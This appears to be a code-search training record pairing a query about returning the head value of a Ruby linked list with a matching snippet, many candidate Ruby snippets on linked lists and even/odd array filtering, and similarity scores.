"def evens(arr)\n even_places = []\n arr.each_with_index do |el, idx|\n even_places << el if idx.odd?\n end\n even_places\nend",
"def only_even(arr)\n\tnumsOnly = arr.select { |num| num.is_a? Integer } \n\toddOnly = numsOnly.select { |num| num % 2 != 0 }\n\treturn oddOnly.sort()\nend",
"def oddities(array)\n return_array =[]\n array.each_with_index do |element, index|\n return_array << element if index.even?\n end\n return_array\nend",
"def remove_odd(num_array)\n num_array.delete_if {|n| n%2 != 0}\nend",
"def oddities(arr)\n arr.select.with_index do |_, idx|\n idx.even?\n end\nend",
"def evenies(array)\n array.select.with_index { |e, idx| e if idx.odd? }\nend",
"def oddities(array)\n new_array = []\n array.each_with_index do |item, index|\n new_array << item if index.even?\n end\n new_array\nend",
"def even_numbers(array)\n array.select{ |num| num.even? }\n\n # TODO: Return the even numbers from a list of integers.\n # You should use Enumerable#select\nend",
"def oddities(arr)\n new_arr = []\n arr.each.with_index do |item, idx|\n new_arr << item if idx == 0 || idx.even?\n end\n new_arr\nend",
"def get_evens(arr)\n arr.select{|int|int%2==0}\nend",
"def remove_even array\n\tarray.delete_if {|n| n %2 == 0 }\nend",
"def oddities1(arr)\n (arr.map.with_index { |element,i| element if i.even? }).compact\nend",
"def nums_only arr\n # found built in metods and chained them together. Took some time to figure out that the sort needed to go after the select. The select finds and returns items in the array that are integers. After that the sort organizes the numbers. then the delete method deletes the even numbers.\n arr.select { |element| element.is_a?(Integer)}.sort.delete_if &:even?\nend",
"def oddnum arr\n # arr.select { |x| x.is_a?(Integer) }\n array = arr.select { |x| x.instance_of?(Integer) }\n final_array = array.select { |x| x.odd?}\n final_array.sort\nend",
"def oddball(arr)\n odd = arr.select {|x| x.odd? }\n even = arr.select {|x| x.even? }\n if even.length > odd.length\n odd[0]\n else\n even[0]\n end\nend",
"def odd_index_nums(array)\n odd_index_array = []\n \n array.each_with_index do |element, index|\n if index.odd?\n odd_index_array << element\n end\n end\n odd_index_array\nend",
"def even_numbers_less_than(num)\n array = (0...num).to_a\n array.select { |x| x if x.even? }\nend",
"def oddities(arr)\n arr.select.with_index do |element, index|\n index.even?\n end\nend",
"def oddities(array)\n odd_elements = []\n index = 0\n while index < array.size\n odd_elements << array[index]\n index += 2\n end\n odd_elements\nend",
"def no_odds(array)\n array.delete_if(&:odd?)\nend",
"def oddities(array)\n odd_elements = []\n index = 0\n while index < array.size\n odd_elements << array[index]\n index += 2\n end\n odd_elements\nend",
"def separate_array_into_even_and_odd_numbers(array)\n array.partition {|x| x.even?}\nend",
"def odd_index_nums(array)\n array.select do |num|\n current_index = array.index(num)\n \n if current_index % 2 == 1\n num\n end\n end\nend",
"def evenies(array)\n even_array = []\n array.each_with_index { |e, idx| even_array << e if idx.odd? }\n even_array\nend",
"def removeEvens(arr2)\n return arr2.select { |n| n % 2 != 0 || n == 2 }\n end",
"def oddities(arr)\n arr.select.with_index do |_,index|\n (index + 1).odd?\n end\nend",
"def get_evens(array)\n\t\n\tevens = array.select { |num| num.even? }\n\t\nend",
"def odd_least(arr)\n arr.select! { |el| el.is_a? Numeric }\n arr.select(&:odd?).sort\nend"
] |
[
"0.81638974",
"0.80912226",
"0.79702824",
"0.79320204",
"0.79155713",
"0.7895303",
"0.7888832",
"0.78201056",
"0.7746092",
"0.7737106",
"0.7725151",
"0.76431423",
"0.7635388",
"0.76237893",
"0.758933",
"0.7525271",
"0.7452129",
"0.7020654",
"0.6992041",
"0.6951101",
"0.6948422",
"0.68828803",
"0.6882775",
"0.68817425",
"0.6873346",
"0.6868192",
"0.6863656",
"0.6861574",
"0.68576443",
"0.68484455",
"0.68391865",
"0.6835216",
"0.68195677",
"0.68152696",
"0.6800852",
"0.6779095",
"0.6761251",
"0.6756124",
"0.6750984",
"0.6745425",
"0.67377114",
"0.6725109",
"0.6701326",
"0.6692193",
"0.66819626",
"0.6671064",
"0.6666075",
"0.6651882",
"0.6643028",
"0.66262066",
"0.662578",
"0.660547",
"0.65966505",
"0.65867656",
"0.65836126",
"0.65818346",
"0.6579777",
"0.65767086",
"0.65741444",
"0.6558941",
"0.655442",
"0.65540516",
"0.6553774",
"0.65494394",
"0.65444356",
"0.6542347",
"0.6537505",
"0.65347093",
"0.6520218",
"0.6515097",
"0.64990026",
"0.6498164",
"0.6495406",
"0.6483858",
"0.647074",
"0.64636713",
"0.645997",
"0.64539474",
"0.6451021",
"0.6445143",
"0.64421004",
"0.6427584",
"0.6424924",
"0.6412141",
"0.640054",
"0.6398299",
"0.63979554",
"0.63916636",
"0.63864803",
"0.6380282",
"0.637535",
"0.63752204",
"0.6374406",
"0.6371438",
"0.6366782",
"0.6361581",
"0.63549334",
"0.635488",
"0.6349696",
"0.6349466"
] |
0.8325568
|
0
|
Public: Returns the value at the head of the LinkedList. Examples
|
def head
@head.next
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_first\r\n # if the list is empty, head is nil\r\n if @head.nil?\r\n return nil\r\n else \r\n value = @head.data\r\n return value\r\n end\r\n end",
"def first\n # return value if head node is set\n if !@head.nil?\n @head.value\n else\n # otherwise raise an exception\n raise \"List is empty\"\n end\n end",
"def head\n \t\tbegin\n \t\t raise \"Empty LinkedList\" if @size <= 0\n \t\t return @head.data\n\t\t rescue \n\t\t puts \"Empty\"\n\t\t end\n \tend",
"def head\n return @head.value\n end",
"def get_first\n return nil if head.nil?\n return head.data\n end",
"def get_first\n current = @head\n return nil if current.nil?\n \n return @head.data\n end",
"def first\n @head.val\n end",
"def first\n @current = self.head if self.head\n @current.value rescue nil\n end",
"def get_first\n if @head == nil\n return nil\n else\n return @head.data\n end\n end",
"def get_first\n return nil if !@head\n return @head.data\n end",
"def get_first\n return @head if @head.nil?\n\n return @head.data\n end",
"def head\n @head.nil? ? nil : @head.value\n end",
"def get_first\n return nil if @head.nil?\n return @head.data\n end",
"def get_first\r\n if @head \r\n return @head.data\r\n else \r\n return nil\r\n end\r\n end",
"def get_first\n return nil if @head.nil?\n\n return @head.data\n end",
"def get_first\n return nil if @head.nil?\n\n return @head.data\n end",
"def get_first\n \n return nil if @head.nil?\n return @head.data\n \n end",
"def get_first\n return head ? head.data : nil\n end",
"def head\n @head.value\n end",
"def peek_first\n raise 'No such element' if @size == 0\n @head.value\n end",
"def get_first\n return @head.data if @head\n return @head\n end",
"def head\n @head.value if @head\n end",
"def test_returns_the_head_value\n @list.append(@node_1)\n\n return_value = @list.head\n\n assert_equal @node_1, return_value\n end",
"def first\n @head.lru_next\n end",
"def get_first\n @head == nil ? nil : @head.data\n end",
"def get_head\n return nil if @head.nil?\nnode = @head\nnode.data\nend",
"def get_first\n return @head.nil? ? nil : @head.data\n end",
"def get_first\n return @head.nil? ? nil : @head.data\n end",
"def get_head\n nekst = @next_object\n @next_object = get_next_for(nekst)\n return nekst\n end",
"def peek\n @head ? @head.value : nil\n end",
"def list_first(list)\n list.head.data unless list.head.nil?\nend",
"def node_first\n @head\n end",
"def get_first\n return @head ? @head.data : nil\n end",
"def first\n @head\n end",
"def get_first\n @head.nil? ? nil : @head.data\n end",
"def peek()\n @head.nil? ? nil : @head.val\n end",
"def get_first\r\n @head&.data\r\n end",
"def get_first\r\n return @head ? @head.data : nil\r\n end",
"def head\n ->(xs) { xs[0] }\n end",
"def [](index)\n if index < 0 || index > @length - 1\n return nil\n else\n node = @head\n count = 1\n until count > index\n node = node.next\n count += 1\n end\n end\n node.value\n end",
"def head\n return nil if @head.nil?\n @head.data\n end",
"def first ; list.first ; end",
"def item_at_head\n\t\t\t@head.next\n\t\tend",
"def head\n if @head.nil?\n nil\n else\n at_index(0)\n end\n end",
"def get_at_index(index)\r\n \r\n # determine length\r\n if @head.nil?\r\n return nil\r\n else\r\n length = 1\r\n current = @head\r\n until current.next.nil?\r\n current = current.next\r\n length += 1\r\n end\r\n end\r\n \r\n # return nil if index reference is outside of list length\r\n if (index + 1) > length\r\n return nil\r\n end\r\n \r\n # return the value at given index\r\n current = @head\r\n index.times do\r\n current = current.next\r\n end\r\n \r\n return current.data\r\n end",
"def peek\n empty? ? nil : @head.value\n end",
"def get(index)\n case\n when index < 0 then return -1\n when index == 0 then return @head.val\n when index >= @length then return -1\n else\n current = @head\n for i in 0..(index-1)\n current = current.next\n end\n return -1 if current.nil?\n return current.val\n end\n end",
"def get_at_index(index)\n # initialize current to head\n current = @head\n # account for index being greater than list length\n if index + 1 > length\n return nil\n # otherwise, move current to index\n else \n index.times do \n current = current.next\n end\n end\n # return value at indexed node\n return current.data\n end",
"def head\n return @head\n end",
"def get_Head()\n return @head\n end",
"def lhs\n @head\n end",
"def extract_head\r\n aux = @head.value\r\n @head = @head.next\r\n @head.prev = nil\r\n return aux\r\n end",
"def head(number)\n number.first\nend",
"def head\n return @head.data\n end",
"def get_value(value)\n if @head == nil #Comprobamos si la lista no esta vacía\n raise RuntimeError, \"Lista vacía, no se puede extraer nodo\"\n else\n\t\t i = @tail\n\t\t @valor=nil\n\t\t while i != nil\n\t\t if i.value == value\n\t\t @valor = i.value\n\t\t end\n\t\t i = i.next\n\t\t end\n end\n @valor\n end",
"def [](key)\n if @items[index(key,size)] != nil\n current = @items[index(key, size)].head #chooses head node\n while current != nil\n if current.key == key\n return current.value\n else\n current = current.next\n end\n end\n end\n end",
"def list_at(list, index)\n return nil if list.head.nil?\n return list.head.data if index == 0\n list_at(LinkedList.new(list.head.link), index-1)\nend",
"def peek\n self.head\n end",
"def head(val=true)\n @head = val\n end",
"def head\n @values[0]\n end",
"def add_first(data)\n new_node = Node.new(data)\n new_node.next = @head\n @head = new_node\n return @head.data\n end",
"def head\n @list\n end",
"def x\n head[0]\n end",
"def x\n head[0]\n end",
"def get_at_index(index)\n i = 0\n current = @head\n while current != nil\n if i == index\n return current.data\n end\n current = current.next\n i += 1\n end\n # puts \"Error: #{index} exceeds the linked list length.\"\n return nil\n end",
"def find_min\n if @head == nil # empty list case\n # puts \"Error: The linked list is empty. Cannot compute min.\"\n return nil\n end\n\n current = @head\n min = current.data\n current = current.next\n while current != nil\n if current.data < min\n min = current.data\n end\n current = current.next\n end\n return min\n end",
"def head\n lambda do |list|\n fail_on_empty! list\n list[0]\n end\nend",
"def insert_head(node_value)\n # If the SLL is empty, create a node with the given value and set it to head\n if empty?\n @head = Node.new(node_value)\n else\n # Otherwise, hold the head in a temporary var\n hold = @head\n # Create a new node and set it as the head\n @head = Node.new(node_value)\n # Set the next prop on the new head to point to the hold var\n @head.next = hold\n end\n\n # Increment size by 1, regardless of how many nodes exist\n @size += 1\n # Return the new head; alternatively, return self to make the methods chainable\n @head\n end",
"def add_first(value)\r\n current = @head\r\n # add new node with provided value and set next to current\r\n new_node = Node.new(value, current)\r\n # new node becomes head\r\n @head = new_node\r\n end",
"def add_first(value)\n new_node = Node.new(value)\n\n if @head != nil # if linked list is not empty\n new_node.next = @head\n end\n\n @head = new_node\n end",
"def get_at_index(index, current=@head)\r\n if current.nil? || current.next.nil? || index == 0\r\n return current&.data\r\n end\r\n \r\n get_at_index(index - 1, current.next)\r\n end",
"def get(index)\n return raise \"Index out of bounds: #{index}\" if index > @size || index.negative?\n\n position = 0\n current = @head\n while position < index\n current = current.next\n position += 1\n end\n current.value\n end",
"def extract_head\n\t\taux = @head.value\n\t\tif(@head == @tail) \n\t\t @head,@tail = nil\n\t\telse \n\t\t @head = @head[:next]\n\t\t @head[:prev] = nil\n\t\tend\t\t\n\t\treturn aux\n\tend",
"def top()\n return @head ? @head.val : nil\n end",
"def extract_head()\n if @head.nil?\n raise RuntimeError, \"La lista está vacía\"\n else\n if @head == @tail\n @head, @tail = nil\n else\n @head = @head[:next]\n @head[:prev] = nil\n end\n\n end\n end",
"def first\n\t\t@head.info if !@head.nil?\n\tend",
"def head\n\t\treturn @head\n\tend",
"def extract_head () # extraemos por cabeza ( este es el que usaremos para practica 7)\n if (@head==nil)\n puts \"Sin elementos en la lista\"\n else\n\t\taux = @head\n @head = @head.nest\n\t aux.nest = nil\n\t if(@head== nil)\n\t\t @tail=nil\n\t else\n \t@head.prev = nil\n\t end\n\t return aux\n \n end\n end",
"def visit\r\n if !@head \r\n return \"empty list\"\r\n end\r\n \r\n printout = \"LL = #{@head.data}\"\r\n curr = @head.next \r\n \r\n while curr \r\n printout += \" -> #{curr.data}\"\r\n curr = curr.next\r\n end\r\n \r\n return printout\r\n end",
"def head\n @head ||= node.attr(:head).to_i\n end",
"def get_at_index(index)\n counter = 0\n pointer = @head\n return nil if @head.nil?\n until counter == index || pointer.next.nil?\n pointer = pointer.next\n counter += 1\n end\n return pointer.data\n end",
"def get_at_index(index)\n return nil if @head.nil?\n \n pointer = @head\n count = 0\n until pointer.next.nil? || count == index\n pointer = pointer.next\n count += 1\n end\n\n return pointer.data\n end",
"def get_at_index(index)\n return nil if @head.nil?\n current = @head\n index.times do\n return nil if current.nil?\n current = current.next\n end\n return current.data\n end",
"def get_at_index(index)\n current_index = 0\n current_node = @head\n\n until current_index == index\n return nil if current_node.nil?\n current_node = current_node.next\n current_index += 1\n end\n return current_node.data\n end",
"def add_at_head(val)\n first = Node.new(val)\n first.next = @head\n @head = first\n @length += 1\n end",
"def get_at_index(index)\n return nil if @head.nil?\n\n current = @head\n index.times do\n return nil if current.next.nil?\n current = current.next\n end\n\n return current.data\n end",
"def add_at_head(val)\n if @llist\n old_head = @llist\n @llist = Node.new(val)\n @llist.add_next_node old_head\n else\n @llist = Node.new(val)\n end\n end",
"def get_at_index(index)\n return nil unless @head\n\n current = @head\n\n index.times do\n return nil unless current.next\n current = current.next\n end\n return current.data\n end",
"def get_at_index(index)\n return nil if head == nil\n\n count = 0\n\n current_node = @head\n\n until count == index\n current_node = current_node.next\n count += 1\n end\n\n return current_node.data\n end",
"def find_min\r\n return nil if !@head\r\n\r\n min = @head.data\r\n curr = @head \r\n \r\n while curr \r\n min = curr.data if curr.data < min \r\n curr = curr.next\r\n end\r\n\r\n return min\r\n end",
"def test_14a_index_of_first_item\n puts \"test_14a_index_of_first_item\"\n ll = LinkedList.new()\n ll.push(\"foo\")\n ll.push(\"bar\")\n ll.push(\"good\")\n assert_equal(0, ll.index(\"foo\"))\n end",
"def add_first(value)\r\n @head = Node.new(value, @head)\r\n end",
"def add_first(value)\r\n @head = Node.new(value, @head)\r\n end",
"def get(index)\n if @llist\n node = @llist\n (index).times do\n node = node.next_node\n end\n node\n else\n# todo: handle unknown index\n end\n end",
"def at(index)\n i = 0\n current_node = @head\n while i != index do\n current_node = current_node.next\n i += 1\n end\n return current_node.data\n end",
"def at(index)\n return nil if @head.nil? || index > self.size - 1\n current_node = @head\n (index).times do\n current_node = current_node.next\n end\n current_node.data\n end",
"def extract_head\n\t\tif(!empty)\n\t\t\taux = @head\n\t\t\t@head = @head[\"next\"]\n\n\t\t\tif(@head != nil)\n\t\t\t\t@head[\"prev\"] = nil\n\t\t\telse\n\t\t\t\t@tail = nil\n\t\t\tend\n\t\t\n\t\t\t@size -= 1\n\t\t\taux[\"next\"] = nil\n\t\t\taux[\"value\"]\n\n\t\telse\n\t\t\tempty_to_s\n\t\tend\n\n\tend",
"def peek\n head.data if head\n end",
"def get_at_index(index)\n return nil if head == nil\n\n counter = 0\n\n node = head\n until counter == index || node.next.nil?\n node = node.next\n counter += 1\n end\n\n return counter == index ? node.data : nil\n end",
"def get_at_index(index)\n # return nil unless @head\n if @head == nil\n return nil\n end\n current = @head\n index.times do \n # return nil unless current.next\n if current.next == nil #check if index is out of bounds\n return nil\n end\n current = current.next\n end\n return current.data\n end"
] |
[
"0.80239606",
"0.7980533",
"0.7874925",
"0.74381244",
"0.7334042",
"0.73070985",
"0.729816",
"0.7232249",
"0.7230996",
"0.71316797",
"0.7114695",
"0.7098524",
"0.70861775",
"0.7078569",
"0.70720565",
"0.70720565",
"0.706974",
"0.7052223",
"0.7035776",
"0.7032007",
"0.7025263",
"0.70213604",
"0.70194685",
"0.69973296",
"0.699483",
"0.69527185",
"0.6949328",
"0.6949328",
"0.6948934",
"0.6938133",
"0.69220734",
"0.6912538",
"0.6908886",
"0.6908757",
"0.689554",
"0.6890423",
"0.68893474",
"0.6881629",
"0.6871358",
"0.6870378",
"0.68130344",
"0.6787373",
"0.67802876",
"0.67791575",
"0.6763626",
"0.6758787",
"0.67381936",
"0.6698088",
"0.6697712",
"0.66924894",
"0.6628974",
"0.6599694",
"0.65880126",
"0.6576788",
"0.6572653",
"0.6568111",
"0.65580493",
"0.6539039",
"0.6528654",
"0.6528242",
"0.6512758",
"0.6503769",
"0.64896053",
"0.64896053",
"0.6474148",
"0.6467377",
"0.6466277",
"0.6461367",
"0.6449052",
"0.6447912",
"0.6444788",
"0.6440974",
"0.6437649",
"0.64351594",
"0.6431559",
"0.6429787",
"0.64185286",
"0.64112645",
"0.63774204",
"0.63742054",
"0.63513666",
"0.63445425",
"0.63381726",
"0.6323366",
"0.6320493",
"0.63179505",
"0.6311697",
"0.63079476",
"0.6298972",
"0.62769747",
"0.62743366",
"0.62682885",
"0.6265224",
"0.6263954",
"0.6263238",
"0.6245666",
"0.6242443",
"0.6211528",
"0.620633",
"0.62041235"
] |
0.67591715
|
45
|
Public: Checks to see if the LinkedList is empty. Examples
|
def empty?
@head.next == nil
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def empty?\n !node_next(@head, 0)\n end",
"def empty?\n node_next(@head, 0) == @tail\n end",
"def is_list_empty?\n @head.nil?\n end",
"def empty?\n \n @head == nil\n end",
"def list_empty?\n return (@first_node == nil) ? true : false\n end",
"def empty()\n return @head == nil\n end",
"def is_empty()\n @head == nil\n end",
"def empty()\n return true if @head.nil?\n false\n end",
"def is_empty?()\n (@head == nil) ? true : false\n end",
"def empty?\r\n @head==nil ? true : false\r\n end",
"def empty?\n @head.next == @tail && @tail.prev == @head\n end",
"def empty?\r\n @head.nil?\r\n end",
"def empty?\n @head.nil?\n end",
"def empty?\n !@head\n end",
"def empty?\n head.nil?\n end",
"def empty?\n @head.nil?\n end",
"def empty?\n @mutex.synchronize do\n return @head == @tail\n end\n end",
"def empty?\n\t\t@head.nil?\n\tend",
"def empty?\n @list.empty?\n end",
"def empty?\n # return true if the value of the instance var @head is equal to -1\n # and the value of the instance var @tail is equal to 0\n # otherwise return false\n @head == -1 and @tail == 0\n # end of empty? method\n end",
"def empty?\n # encase the LinkedList method for this \n return @store.empty?\n end",
"def empty?\n head.nil?\nend",
"def empty?\n head.data.nil?\n end",
"def empty?\n self[:head] == 0\n end",
"def empty?\n !head\n end",
"def empty?\n @head == -1\n end",
"def empty?\n # @head and @tail are equal to what they were when the Queue was created\n @head == -1 and @tail == 0\n end",
"def empty?\n return @size == 0\n end",
"def empty?\n size == 0\n end",
"def empty?\n size == 0\n end",
"def empty?\n size == 0\n end",
"def empty?\n size == 0\n end",
"def empty?\n size == 0\n end",
"def empty?\n size == 0\n end",
"def empty?\n nodes.empty?\n end",
"def empty?\n @size == 0\n end",
"def empty?\n @size == 0\n end",
"def empty?\n @size == 0\n end",
"def empty?\n @size == 0\n end",
"def empty?\n return @node == nil\n end",
"def empty?\n @size == 0\n end",
"def empty?\n @size == 0\n end",
"def empty?\n @next.nil?\n end",
"def is_empty?\n size == 0\n end",
"def empty?\n @items.count == 0\n end",
"def empty?\n @node == nil\n end",
"def empty?\n # raise NotImplementedError, \"Not yet implemented\"\n if size > 0\n return false\n end\n return true\n end",
"def empty?\n !@first_pointer\n end",
"def empty?\n length == 0\n end",
"def empty?\n length == 0\n end",
"def empty?\n length == 0\n end",
"def empty?\n size.zero?\n end",
"def empty?\n size.zero?\n end",
"def empty?\n size.zero?\n end",
"def empty?\n size.zero?\n end",
"def empty?\n\t\t\tsize == 0\n\t\tend",
"def empty?\n size.zero?\n end",
"def empty?\n node.all('*').length.zero?\n end",
"def empty?()\n return @length == 0\n end",
"def empty?\r\n @length == 0\r\n end",
"def empty?\r\n @length == 0\r\n end",
"def empty?\r\n @length == 0\r\n end",
"def empty?\r\n @length == 0\r\n end",
"def empty?\n length == 0\n end",
"def empty?\r\n @length == 0\r\n end",
"def empty?\n @length == 0\n end",
"def empty?\n size.zero?\n end",
"def empty?\n # Funnily enough, an empty list does *not* make a port empty!\n return false if @structure.instance_of? Array\n @structure.empty?\n end",
"def empty?\n @length == 0\n end",
"def empty?\n @size.zero?\n end",
"def empty?; size == 0 end",
"def is_empty()\n return @items.empty?\n end",
"def is_empty?\n self.size == 0\n end",
"def empty?\n count == 0\n end",
"def empty()\n @size == 0\n end",
"def empty?\n\t\treturn size.zero?\n\tend",
"def empty?\n self.count == 0\n end",
"def empty?\n self.count == 0\n end",
"def empty?() end",
"def empty?() end",
"def empty?() end",
"def isEmpty()\n if @head == nil\n puts \"This Queue is empty.\"\n else\n puts \"This Queue has data.\"\n end\n end",
"def empty?\n count == 0\n end",
"def empty?\n count == 0\n end",
"def empty?\n @exact.empty? && @list.empty?\n end",
"def isEmpty?()\r\n return @items == 0\r\n end",
"def empty?\n end",
"def empty?\n end",
"def empty?\n end",
"def is_empty()\n if @length == 0\n true\n else\n false\n end\n end",
"def empty?\n length.zero?\n end",
"def empty?\n items.empty?\n end",
"def empty?\n `#@native.children.length === 0`\n end",
"def empty?\n @count == 0\n end",
"def empty?\n @count == 0\n end",
"def empty?\n @count == 0\n end",
"def empty?\n @count == 0\n end",
"def empty?\n iterator.nil?\n end",
"def empty()\n @size == 0\n end",
"def empty()\n @size == 0\n end"
] |
[
"0.808619",
"0.79841375",
"0.79121846",
"0.79017",
"0.7849999",
"0.78498334",
"0.7828492",
"0.7773693",
"0.77234215",
"0.770682",
"0.7684284",
"0.7666984",
"0.76391226",
"0.7625747",
"0.76221085",
"0.7590762",
"0.75690895",
"0.7551998",
"0.7542543",
"0.7536963",
"0.74892604",
"0.7443069",
"0.7439498",
"0.74321806",
"0.74306697",
"0.7382191",
"0.73372626",
"0.72634315",
"0.72622967",
"0.72394913",
"0.72394913",
"0.72219974",
"0.72219974",
"0.72219974",
"0.72197986",
"0.72167397",
"0.72167397",
"0.7201989",
"0.7201989",
"0.7196006",
"0.7188381",
"0.7188381",
"0.7174746",
"0.71464574",
"0.7131813",
"0.7126681",
"0.7126598",
"0.7103682",
"0.70845896",
"0.70845896",
"0.70845896",
"0.7071681",
"0.7071681",
"0.7071681",
"0.7071681",
"0.70701474",
"0.706961",
"0.7066869",
"0.7064387",
"0.70514846",
"0.70514846",
"0.70514846",
"0.70514846",
"0.7047875",
"0.703663",
"0.70358455",
"0.70245564",
"0.6991702",
"0.69900507",
"0.6986765",
"0.6985733",
"0.6979568",
"0.6979218",
"0.69718313",
"0.6968799",
"0.69652313",
"0.6962198",
"0.6962198",
"0.69572073",
"0.69572073",
"0.69572073",
"0.69514376",
"0.6946049",
"0.6946049",
"0.69455636",
"0.6939306",
"0.69390875",
"0.69390875",
"0.69390875",
"0.6936252",
"0.6933393",
"0.6916327",
"0.69032323",
"0.6891971",
"0.6891971",
"0.6891971",
"0.6891971",
"0.68835044",
"0.6867907",
"0.6867907"
] |
0.8029039
|
1
|
Public: Add a value to the beginning of the LinkedList value Ruby object to be inserted into the LinkedList Examples
|
def prepend(value)
element = RubyStructures::Node.new(self, value)
element.next = @head.next
@head.next = element
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def prepend(value)\n #Instantiate the object to be the new head\n new_node = Node.new value\n #Set its next value to the current head\n new_node.next = @head\n @head.before = new_node\n #Set the new one as the new head by repointing SinglyLinkedList head to it\n @head = new_node\n end",
"def insert_before(value)\n node = LinkedListNode(value)\n\n node.next = self\n\n node\n end",
"def add_at_head(val)\n \n end",
"def prepend( value )\n new_node = Node.new value\n\n # Whatever node was at the start of the list, it\n # is now the 'next' node for our newly created node\n new_node.next = @head\n\n # The new head of the list is set to be the new\n # node that we just created\n @head = new_node\n end",
"def prepend( value )\n new_node = Node.new value\n\n # Whatever node was at the start of the list, it\n # is now the 'next' node for our newly created node\n new_node.next = @head\n\n # The new head of the list is set to be the new\n # node that we just created\n @head = new_node\n end",
"def add_at_head(val)\n first = Node.new(val)\n first.next = @head\n @head = first\n @length += 1\n end",
"def add_at_head(val)\n if @llist\n old_head = @llist\n @llist = Node.new(val)\n @llist.add_next_node old_head\n else\n @llist = Node.new(val)\n end\n end",
"def add(val)\n if @next == nil\n @next = ListNode.new(val)\n else\n @next.add(val)\n end\n end",
"def prepend(value)\n if @head.nil?\n @head = Node.new(value)\n else\n old_point = @head\n @head = Node.new(value)\n @head.next = old_point\n # old_next = @head.next\n # p old_next\n # @head = Node.new(value)\n # @head.next = old_next\n # head is hi\n # replace head with new value\n # make head next the hi attribute\n end\n end",
"def add(val)\n # debugger\n current = @head\n while current.next != nil\n current = current.next\n end\n current.next = Node.new(val, nil)\n \n # current.next.value\n self\n end",
"def add_first(value)\r\n @head = Node.new(value, @head)\r\n end",
"def prepend(value)\n node = Node.new\n node.value = value\n node.next = head\n @head = node\n end",
"def prepend(value)\n\t\t@head.next_node = Node.new(value, @head.next_node)\n\tend",
"def add_first(value)\r\n @head = Node.new(value, @head)\r\n end",
"def prepend(value)\n new_node = create_node(value)\n new_node.next_node = head\n self.head = new_node\n self.size += 1\n end",
"def prepend( value )\n new_node = Node.new value\n new_node.next = @head\n @head = new_node\n end",
"def add_first(value)\r\n new_node = Node.new(value, @head)\r\n @head = new_node\r\n end",
"def test_prepend_can_add_item_to_beginning_of_list\n list = LinkedList.new(\"purple\")\n list.prepend(\"brown\")\n\n assert_equal \"brown purple\", list.to_string\n assert_equal \"brown\", list.prepend(\"brown\")\n end",
"def append(value)\n new_node = ListNode.new(value)\n if self.head.nil?\n self.head = self.tail = new_node\n self.size = 1\n else\n set_next_and_prev(self.tail, new_node)\n self.tail = new_node\n self.size += 1\n end\n self.as_string\n end",
"def add_first(value)\r\n current = @head\r\n # add new node with provided value and set next to current\r\n new_node = Node.new(value, current)\r\n # new node becomes head\r\n @head = new_node\r\n end",
"def add(value)\n current_node = @head\n while current_node.next != nil\n current_node = current_node.next\n end\n current_node.next = Node.new(value, nil)\n end",
"def prepend(value)\n newNode = Node.new(value)\n if @list == nil\n @list = newNode\n else\n prevList = list\n @list = newNode\n @list.nextNode = prevList\n end\n end",
"def insert_head(value)\n if @head.nil?\n @head = Nodo.new(value, nil, nil)\n @tail = @head\n else\n @head[:prev] = Nodo.new(value, @head, nil)\n @head = @head[:prev]\n end\n end",
"def prepend(value)\n @head = Node.new(value, head)\n end",
"def insert_by_begin(value)\n\t\tif @head.nil?\n\t\t\t@head = @Node.new(value, nil, nil)\n\t\t\t@tail = @head\n\t\telse\n\t\t\t@head[:prev] = @Node.new(value, @head, nil)\n\t\t\t@head = @head[:prev]\n\t\tend\n end",
"def add_first(value)\n new_node = Node.new(value)\n\n if @head != nil # if linked list is not empty\n new_node.next = @head\n end\n\n @head = new_node\n end",
"def prepend(value)\n node = Node.new\n node.value = value\n \n if @head.nil?\n @head = node\n @tail = node\n else\n node.next_node = @head\n @head = node\n end\n @size += 1\n end",
"def add_at_head(val)\n @list.unshift(val)\n end",
"def add_node(value)\n add_node_support(value, :linked_list)\n end",
"def add_first(value)\n new_node = DoublyLinkedNode.new(value, nil, @head)\n @head.prev = new_node if @head\n @head = new_node\n @tail = new_node if !new_node.next\n end",
"def add(value)\n\t\tif @head != nil \n\t\t\tcurrent = @head\n\t\t\twhile current.nnode != nil\n\t\t\t\tcurrent = current.nnode\n\t\t\tend\n\t\t\tcurrent.nnode = Node.new(value, nil)\n\t\telse\n\t\t\t@head = Node.new(value,nil)\n\t\tend\n\tend",
"def insert_after(value)\n node = LinkedListNode(value)\n\n node.next = self.next if self.next\n self.next = node\n\n node\n end",
"def prepend(value)\n @head = Node.new(value, @head)\n @size += 1\n end",
"def prepend(value)\n new_node = Node.new(value)\n @node_counter += 1\n if @head == nil\n @head = new_node\n else\n new_node.next_node = @head\n @head = new_node\n end\n end",
"def insert_head(node_value)\n # If the SLL is empty, create a node with the given value and set it to head\n if empty?\n @head = Node.new(node_value)\n else\n # Otherwise, hold the head in a temporary var\n hold = @head\n # Create a new node and set it as the head\n @head = Node.new(node_value)\n # Set the next prop on the new head to point to the hold var\n @head.next = hold\n end\n\n # Increment size by 1, regardless of how many nodes exist\n @size += 1\n # Return the new head; alternatively, return self to make the methods chainable\n @head\n end",
"def prepend(value)\n new_node = Node.new(value)\n new_node.next = @node\n @node = new_node\n end",
"def insert value\r\n current_head = @head\r\n #create a new node with:\r\n #\"value\" that come from LIST-INSERT argument\r\n #\"next\" that point to the node that is currently at the head\r\n #\"prev\" that is NULL since it will be spliced onto the front of the list\r\n new_node = Node.new value, current_head, nil\r\n #if the list is not empty (L.head != NULL)(there exist at least one node in the list)\r\n if current_head != nil\r\n #point the old head node prev pointer to the new node\r\n current_head.set_prev_node new_node\r\n #OPTIONAL: if the list is empty, set tail to the the first node\r\n else\r\n @tail = new_node\r\n end\r\n #point L.head to the new node\r\n @head = new_node\r\n #You can return a pointer to the new node so you can access it quickly (e.g. for reading, updating or deleting)\r\n return new_node\r\n #You can return the list so that you can chain methods\r\n return self\r\n end",
"def prepend(value)\n node = Node.new(value)\n if @head.nil?\n @head = node\n else\n node.next_node = @head\n @head = node\n end\n end",
"def prepend(value)\n if @head.nil?\n @head = Node.new(value)\n else\n current_node = @head\n new_node = Node.new(value)\n @head = new_node\n @head.next_node = current_node\n end\n end",
"def add(value)\n if head.nil?\n @head = Node.new(value)\n else\n current_node = head\n while current_node.next\n current_node = current_node.next\n end\n current_node.next = Node.new(value)\n end\n end",
